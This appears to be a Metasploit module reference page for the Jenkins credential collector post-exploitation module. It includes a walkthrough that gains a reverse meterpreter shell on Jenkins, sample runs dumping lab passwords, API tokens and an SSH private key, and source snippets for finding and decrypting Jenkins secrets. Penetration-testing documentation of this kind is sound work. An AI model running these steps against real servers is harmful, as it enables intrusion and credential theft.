Jenkins Credential Collector - Metasploit
This page contains detailed information about how to use the post/multi/gather/jenkins_gather metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Jenkins Credential Collector
Module: post/multi/gather/jenkins_gather
Source code: modules/post/multi/gather/jenkins_gather.rb
Disclosure date: -
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): -
Supported platform(s): Linux, Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -
This module can be used to extract saved Jenkins credentials, user tokens, SSH keys, and secrets. Interesting files will be stored in loot along with combined csv output.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
There are two ways to execute this post module.
From the Meterpreter prompt
The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:
meterpreter > run post/multi/gather/jenkins_gather
From the msf prompt
The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.
msf > use post/multi/gather/jenkins_gather
msf post(jenkins_gather) > show options
... show and set options ...
msf post(jenkins_gather) > set SESSION session-id
msf post(jenkins_gather) > exploit
If you wish to run the post against all sessions from framework, here is how:
1 - Create the following resource script:
framework.sessions.each_pair do |sid, session|
run_single("use post/multi/gather/jenkins_gather")
run_single("set SESSION #{sid}")
run_single("run")
end
2 - At the msf prompt, execute the above resource script:
msf > resource path-to-resource-script
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Vulnerable Application
Official Source: Jenkins
This module has been verified against:
- Jenkins 2.67 on Ubuntu 16.04 in Docker
- Jenkins 2.67 on Windows 7 SP 1
- Jenkins 2.60.1
- Jenkins 1.56
Verification Steps
- Set up Jenkins to obtain a shell (use Docker for quick setup)
- Run
docker run -p 8080:8080 -p 50000:50000 jenkins
- Use the default setup and install "suggested plugins"
- Create new user admin, add a user or credential (via Manage Jenkins)
- Start msfconsole
- We'll use the
jenkins_script_console
module to quickly gain a shell - Do:
use exploit/multi/http/jenkins_script_console
- Do:
set RHOST 172.17.0.1
- Do:
set RPORT 8080
- Do:
set TARGETURI /
- Do:
set USERNAME admin
- Do:
set PASSWORD or set API_TOKEN
- Do:
set TARGET 1
- Do:
set PAYLOAD linux/x86/meterpreter/reverse_tcp
- Do:
set LHOST 192.168.56.105
- Do:
exploit -j
- Do:
use post/multi/gather/jenkins_gather
- Do:
set SESSION 1
- Do:
run
- You should see the saved credentials output
Options
SEARCH_JOBS
This option searches through the jobs
folder for interesting
keywords but obviously increases runtime on larger instances.
STORE_LOOT
This option saves interesting files and loot to disk. If set to false will simply output data to console.
Scenarios
Jenkins on Windows
msf post(jenkins_gather) > sessions
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
18 shell x86/linux 192.168.56.105:4444 -> 192.168.56.1:58828 (172.17.0.1)
20 meterpreter x86/linux uid=0, gid=0, euid=0, egid=0 192.168.56.105:4444 -> 192.168.56.1:58974 (172.17.0.2)
21 meterpreter x86/windows NT AUTHORITY\SYSTEM @ kali 192.168.56.105:4444 -> 192.168.56.101:50427 (192.168.56.101)
23 shell x86/windows 192.168.56.105:4444 -> 192.168.56.101:50793 (192.168.56.101)
msf post(jenkins_gather) > info
Name: Jenkins Credential Collector
Module: post/multi/gather/jenkins_gather
Platform: Linux, Windows
Arch:
Rank: Normal
Provided by:
thesubtlety
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SEARCH_JOBS true no Search through job history logs for interesting keywords. Increases runtime.
SESSION 17 yes The session to run this module on.
STORE_LOOT true no Store files in loot (will simply output file to console if set to false).
Description:
This module can be used to extract saved Jenkins credentials, user
tokens, SSH keys, and secrets. Interesting files will be stored in
loot along with combined csv output.
msf post(jenkins_gather) > run
[*] Searching for Jenkins directory... This could take some time...
[*] Found Jenkins installation at C:\Program Files\Jenkins
[+] Credentials found - Username: user1 Password: Password123456
[+] SSH Key found! ID: 83c6a18f-6b35-420a-8534-cc505c3347b5 Passphrase: secretpassphrase123 Username: sshkey1 Description: interesting description
[+] Job Info found - Job Name: User: testpass Password: secretpass123
[+] Job Info found - Job Name: User: testpass Password: ohwowosupersecret
[+] Node Info found - Name: test Host: hostnode1.lab.local Port: 22 CredID: 972fc428-dd7c-46ea-a119-be78ae0866ad
[+] API Token found - Username: admin Token: 8a114e0fa48c1a489c39b98e94c986c8
[+] API Token found - Username: useruseruser Token: 6810c3f6ccca939ac2a8b8ac4b9de012
[*] Searching through job history for interesting bits...
[+] Job Log truffles:
C:\Program Files\Jenkins\jobs\asdf\builds\4\log:C:\Program Files\Jenkins\workspace\asdf>echo "secret is secret"
C:\Program Files\Jenkins\jobs\asdf\builds\4\log:"secret is secret"
...
C:\Program Files\Jenkins\jobs\asdf\lastSuccessful\log:C:\Program Files\Jenkins\workspace\asdf>echo "secret is secret"
C:\Program Files\Jenkins\jobs\asdf\lastSuccessful\log:"secret is secret"
[+]
Creds
=====
Username Password Description
-------- -------- -----------
testpass secretpass123
testpass ohwowosupersecret
user1 Password123456
[+]
API Keys
========
Username API Tokens
-------- ----------
admin 8a114e0fa48c1a489c39b98e94c986c8
useruseruser 6810c3f6ccca939ac2a8b8ac4b9de012
[+]
Nodes
=====
Node Name Hostname Port Description Cred Id
--------- -------- ---- ----------- -------
test hostnode1.lab.local 22 testtesttest 972fc428-dd7c-46ea-a119-be78ae0866ad
[+] SSH Key
[*] ID: 83c6a18f-6b35-420a-8534-cc505c3347b5
[*] Description: interesting description
[*] Passphrase: secretpassphrase123
[*] Username: sshkey1
[*]
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAuTfL0ijR0JDLTQC092ZolnkTJGRi7YQInK/K1ZFDFc44JOSU
...snip...
7Ad+Ja6+51ECnXJIFKPj7binB6/C10YVqHh4KON3DeA6ZA7ZpUko
-----END RSA PRIVATE KEY-----
[*] Post module execution completed
Jenkins 2.67 on Ubuntu 16.04
msf post(jenkins_gather) > set session 20
session => 18
msf post(jenkins_gather) > info
Name: Jenkins Credential Collector
Module: post/multi/gather/jenkins_gather
Platform: Linux, Windows
Arch:
Rank: Normal
Provided by:
thesubtlety
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SEARCH_JOBS true no Search through job history logs for interesting keywords. Increases runtime.
SESSION 17 yes The session to run this module on.
STORE_LOOT true no Store files in loot (will simply output file to console if set to false).
Description:
This module can be used to extract saved Jenkins credentials, user
tokens, SSH keys, and secrets. Interesting files will be stored in
loot along with combined csv output.
msf post(jenkins_gather) > run
[*] Searching for Jenkins directory... This could take some time...
[*] Found Jenkins installation at /root/.jenkins
[+] Credentials found - Username: thanksforthefish Password: whatagreatbook
[+] API Token found - Username: user1 Token: 859e1d6ee6ab85804434fa5395ab962d
[+] API Token found - Username: admin Token: 9da706c125a4b5a4c19b1f799723175c
[*] Searching through job history for interesting bits...
[+]
Creds
=====
Username Password Description
-------- -------- -----------
thanksforthefish whatagreatbook
[+]
API Keys
========
Username API Tokens
-------- ----------
admin 9da706c125a4b5a4c19b1f799723175c
user1 859e1d6ee6ab85804434fa5395ab962d
[*] Post module execution completed
Go back to menu.
Msfconsole Usage
Here is how the multi/gather/jenkins_gather post exploitation module looks in the msfconsole:
msf6 > use post/multi/gather/jenkins_gather
msf6 post(multi/gather/jenkins_gather) > show info
Name: Jenkins Credential Collector
Module: post/multi/gather/jenkins_gather
Platform: Linux, Windows
Arch:
Rank: Normal
Provided by:
thesubtlety
Compatible session types:
Meterpreter
Shell
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SEARCH_JOBS false no Search through job history logs for interesting keywords. Increases runtime.
SESSION yes The session to run this module on.
STORE_LOOT true no Store files in loot (will simply output file to console if set to false).
Description:
This module can be used to extract saved Jenkins credentials, user
tokens, SSH keys, and secrets. Interesting files will be stored in
loot along with combined csv output.
Module Options
This is a complete list of options available in the multi/gather/jenkins_gather post exploitation module:
msf6 post(multi/gather/jenkins_gather) > show options
Module options (post/multi/gather/jenkins_gather):
Name Current Setting Required Description
---- --------------- -------- -----------
SEARCH_JOBS false no Search through job history logs for interesting keywords. Increases runtime.
SESSION yes The session to run this module on.
STORE_LOOT true no Store files in loot (will simply output file to console if set to false).
Advanced Options
Here is a complete list of advanced options supported by the multi/gather/jenkins_gather post exploitation module:
msf6 post(multi/gather/jenkins_gather) > show advanced
Module advanced options (post/multi/gather/jenkins_gather):
Name Current Setting Required Description
---- --------------- -------- -----------
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Post Actions
This is a list of all post exploitation actions which the multi/gather/jenkins_gather module can do:
msf6 post(multi/gather/jenkins_gather) > show actions
Post actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the multi/gather/jenkins_gather post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 post(multi/gather/jenkins_gather) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Could not read credentials.xml...
Here is a relevant code snippet related to the "Could not read credentials.xml..." error message:
60: if datastore['STORE_LOOT']
61: loot_path = store_loot('jenkins.creds', 'text/xml', session, f, file)
62: vprint_status("File credentials.xml saved to #{loot_path}")
63: end
64: else
65: print_error("Could not read credentials.xml...")
66: end
67:
68: xml_doc = Nokogiri::XML(f)
69: xml_doc.xpath("//com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl").each do |node|
70: username = node.xpath("username").text
Could not save SSH key to creds: <E.MESSAGE>
Here is a relevant code snippet related to the "Could not save SSH key to creds: <E.MESSAGE>" error message:
100: username: cred_id,
101: workspace_id: myworkspace_id
102: }
103: create_credential(credential_data)
104: rescue OpenSSL::OpenSSLError => e
105: print_error("Could not save SSH key to creds: #{e.message}")
106: end
107: end
108: end
109:
110: def parse_users(file)
Cannot read master.key or hudson.util.Secret...
Here is a relevant code snippet related to the "Cannot read master.key or hudson.util.Secret..." error message:
303: vprint_status("File master.key saved to #{loot_path}")
304: loot_path = store_loot('hudson.util.secret', 'application/octet-stream', session, @hudson_secret_key)
305: vprint_status("File hudson.util.Secret saved to #{loot_path}")
306: end
307: else
308: print_error "Cannot read master.key or hudson.util.Secret..."
309: print_error "Encrypted strings will not be able to be decrypted..."
310: return
311: end
312: end
313:
Encrypted strings will not be able to be decrypted...
Here is a relevant code snippet related to the "Encrypted strings will not be able to be decrypted..." error message:
304: loot_path = store_loot('hudson.util.secret', 'application/octet-stream', session, @hudson_secret_key)
305: vprint_status("File hudson.util.Secret saved to #{loot_path}")
306: end
307: else
308: print_error "Cannot read master.key or hudson.util.Secret..."
309: print_error "Encrypted strings will not be able to be decrypted..."
310: return
311: end
312: end
313:
314: def find_home(platform)
No Jenkins installation found or readable, exiting...
Here is a relevant code snippet related to the "No Jenkins installation found or readable, exiting..." error message:
322: home = cmd_exec("cmd.exe", "/c dir /b /s c:\*secret.key.not-so-secret", timeout = 120).split("\\")[0..-2].join("\\").strip
323: end
324: when "nix"
325: home = cmd_exec("find", "/ -name 'secret.key.not-so-secret' 2>/dev/null", timeout = 120).split('/')[0..-2].join('/').strip
326: end
327: fail_with(Failure::NotFound, "No Jenkins installation found or readable, exiting...") if !exist?(home)
328: print_status("Found Jenkins installation at #{home}")
329: home
330: end
331:
332: def gathernix
Invalid encrypted string: <ENCRYPTED>
Here is a relevant code snippet related to the "Invalid encrypted string: <ENCRYPTED>" error message:
378: encrypted_text = Base64.decode64(encrypted).bytes
379:
380: iv_length = ((encrypted_text[1] & 0xff) << 24) | ((encrypted_text[2] & 0xff) << 16) | ((encrypted_text[3] & 0xff) << 8) | (encrypted_text[4] & 0xff)
381: data_length = ((encrypted_text[5] & 0xff) << 24) | ((encrypted_text[6] & 0xff) << 16) | ((encrypted_text[7] & 0xff) << 8) | (encrypted_text[8] & 0xff)
382: if encrypted_text.length != (1 + 8 + iv_length + data_length)
383: print_error("Invalid encrypted string: #{encrypted}")
384: end
385: iv = encrypted_text[9..(9 + iv_length)].pack('C*')[0..15]
386: code = encrypted_text[(9 + iv_length)..encrypted_text.length].pack('C*').force_encoding('UTF-8')
387:
388: cipher = OpenSSL::Cipher.new('AES-128-CBC')
Go back to menu.
Related Pull Requests
- #11847 Merged Pull Request: Bugfix for post/multi/gather/jenkins_gather
- #10612 Merged Pull Request: fix xml ctypes in store_loot
- #10263 Merged Pull Request: fix undefined method capitalize error for array
- #8627 Merged Pull Request: Add post module multi/gather/jenkins
Go back to menu.
See Also
Check also the following modules related to this module:
- post/multi/gather/apple_ios_backup
- post/multi/gather/aws_ec2_instance_metadata
- post/multi/gather/aws_keys
- post/multi/gather/check_malware
- post/multi/gather/chrome_cookies
- post/multi/gather/dbvis_enum
- post/multi/gather/dns_bruteforce
- post/multi/gather/dns_reverse_lookup
- post/multi/gather/dns_srv_lookup
- post/multi/gather/docker_creds
- post/multi/gather/enum_hexchat
- post/multi/gather/enum_software_versions
- post/multi/gather/enum_vbox
- post/multi/gather/env
- post/multi/gather/fetchmailrc_creds
- post/multi/gather/filezilla_client_cred
- post/multi/gather/find_vmx
- post/multi/gather/firefox_creds
- post/multi/gather/gpg_creds
- post/multi/gather/grub_creds
- post/multi/gather/irssi_creds
- post/multi/gather/jboss_gather
- post/multi/gather/lastpass_creds
- post/multi/gather/maven_creds
- post/multi/gather/multi_command
- post/multi/gather/netrc_creds
- post/multi/gather/pgpass_creds
- post/multi/gather/pidgin_cred
- post/multi/gather/ping_sweep
- post/multi/gather/remmina_creds
- post/multi/gather/resolve_hosts
- post/multi/gather/rsyncd_creds
- post/multi/gather/rubygems_api_key
- post/multi/gather/run_console_rc_file
- post/multi/gather/saltstack_salt
- post/multi/gather/skype_enum
- post/multi/gather/ssh_creds
- post/multi/gather/thunderbird_creds
- post/multi/gather/tomcat_gather
- post/multi/gather/ubiquiti_unifi_backup
- post/multi/gather/unix_cached_ad_hashes
- post/multi/gather/unix_kerberos_tickets
- post/multi/gather/wlan_geolocate
Authors
- thesubtlety
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.